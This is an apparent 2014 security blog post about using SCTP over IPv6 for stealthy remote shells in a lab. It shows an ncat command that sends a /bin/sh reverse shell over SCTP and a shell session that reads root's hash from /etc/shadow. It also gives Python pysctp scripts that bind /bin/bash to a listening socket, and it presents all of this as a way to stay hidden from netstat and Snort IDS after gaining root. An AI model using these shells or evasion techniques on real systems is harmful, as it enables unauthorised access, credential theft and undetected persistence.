quinta-feira, 25 de dezembro de 2014

Something useful from the telecom world.

A relatively “new” protocol which is growing in popularity even outside the Telecoms area is the Stream Control Transmission Protocol (SCTP) [1]. It provides most of TCP's important functionality such as sequencing, reliability and flow control, while being more clever and robust by design (resistant to TCP-SYN floods, for example).

When we talk about SCTP, we talk about associations rather than end to end connections like in TCP, since an association might involve more than two addresses due to its multi-homing capabilities, effectively embracing IP Multicast capabilities.
Multi-homing essentially means that endpoints now support multiple IP addresses with a single port for each side of an association.



Developed to be used over SS7 out-of-band / SIGTRAN networks, this message-oriented protocol is very exciting and quite stealthy when used over common TCP/IP stack implementations. 

Lab setup
  •  server ipv6 addr: fe80::a00:27ff:fea7:87c9
  •  server ipv4 addr: 192.168.0.103
  •  client ipv6 addr: fe80::8a53:2eff:fe21:93aa:59242
  •  client ipv4 addr: 192.168.0.105

Lets suppose we have a 'rogue' vmv6r VM [2] setup in place, with a running instance of SCTPscan listening for connections in server mode. We fire-up the server without needing root access:

[normalUser@vmv6r::1] $ sctpscan -d
SCTPscan - Copyright (C) 2002 - 2009 Philippe Langlois.
Trying to bind SCTP port
Listening on SCTP port 10000


Notice that it is quite hard to find this running instance, even on the host itself. Neither 'netstat' nor the 'ss' utilities will find your SCTP server running locally.

[normalUser@vmv6r::1] $ netstat -anp | grep 10000
<no output>

But it is there, as seen below:

[normalUser@vmv6r::1] $ /usr/bin/lsof -n | grep '10000'
sctpscan 7181 normalUser 3u sock 188149 0t0 SCTP ENDPT: ffff880243b867c0 0.0.0.0[10000]


Now, from a client workstation we use sctpscan against our server.

[root@andromeda::1] sctpscan -s -r 192.168.0.103 -p 10000
Netscanning with Crc32 checksumed packet 
SCTP packet received from 192.168.0.103 port 10000 type 1 (Initiation (INIT))
192.168.0.103 SCTP present on port 10000 
End of scan: duration=9 seconds packet_sent=254 packet_rcvd=5 (SCTP=2, ICMP=3)


Lets try a reverse shell towards our rogue dhcp vm, using SCTP over IPv6.

First we start our server process:

root@vmv6r::1] ncat -6 --sctp -lvp 30000
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::30000


Then we send over the shell, indicating the correct address and port:

[normalUser@andromeda::1] $ ncat --sctp -c '/bin/sh' -6 'fe80::a00:27ff:fea7:87c9%wlan0' 30000


The result:

Ncat: Connection from fe80::8a53:2eff:fe21:93aa:59242.

whoami
root
grep root /etc/shadow

root: c3Zms03$GJXfmzcq70//asvgaXE1UU0gPp1qLYKatBWq.igqQSBN.xPs24qWM6EHO89y2.:16096:0:99999:7:::





I won't go into much detail of what can now be done with root's salt and 
check-sum
Lets continue with the simple idea of passing shells to remote hosts, but this time we will write our own minimalist SCTP server, using the pysctp module [3], both for IPv4 and IPv6: 

import sctp ,socket 
import subprocess 

 # IPv4 version

 socket = sctp.sctpsocket_tcp(socket.AF_INET)
 socket.bind(('0.0.0.0', 10000)) 
 socket.listen(2) 

 while 1: 
    print('awaiting for connections') 
    sink, (conn, port) = socket.accept() 
    print('%s %s just connected ' % (conn, port)) 
    shell = subprocess.call(['/bin/bash'], \
    stdin = sink, stdout = sink, stderr = sink)
    print('%s %s just disconnected' % (conn, port))








[root@vmv6r::1] $ python sctp_shell.py
awaiting for connections
192.168.0.105 60881 just connected















...Now for IPv6:


# IPv6 version

 socket = sctp.sctpsocket_tcp(socket.AF_INET6)
 socket.bind(('::1', 10000))
 socket.listen(1)

 while 1:
    print('awaiting for connections')
    (conn, port) = socket.accept()
    print('%s %s just connected ' % (conn, port))
    shell = subprocess.call(['/bin/bash'], \
               stdin = conn, stdout = conn, stderr = conn)

    print('%s %s just disconnected' % (conn, port)) 






As we can see, once an attacker has obtained root, it is fairly easy to remain under the radar of most corporate appliances which are deployed worldwide. These examples were tested mostly against the Snort IDS, and much of the traffic patterns turned out to be treated as false alarms or unrelated TCP/UDP signature dumps, mostly because there are no default signatures which expect a combination of IPv6, ICMP or SCTP traffic.


References:

[1] http://www.ibm.com/developerworks/library/l-sctp/
[2] http://www.goatrace.com/ipv6/vmv6r/
[3] http://www.p1sec.com/corp/research/tools/pysctp/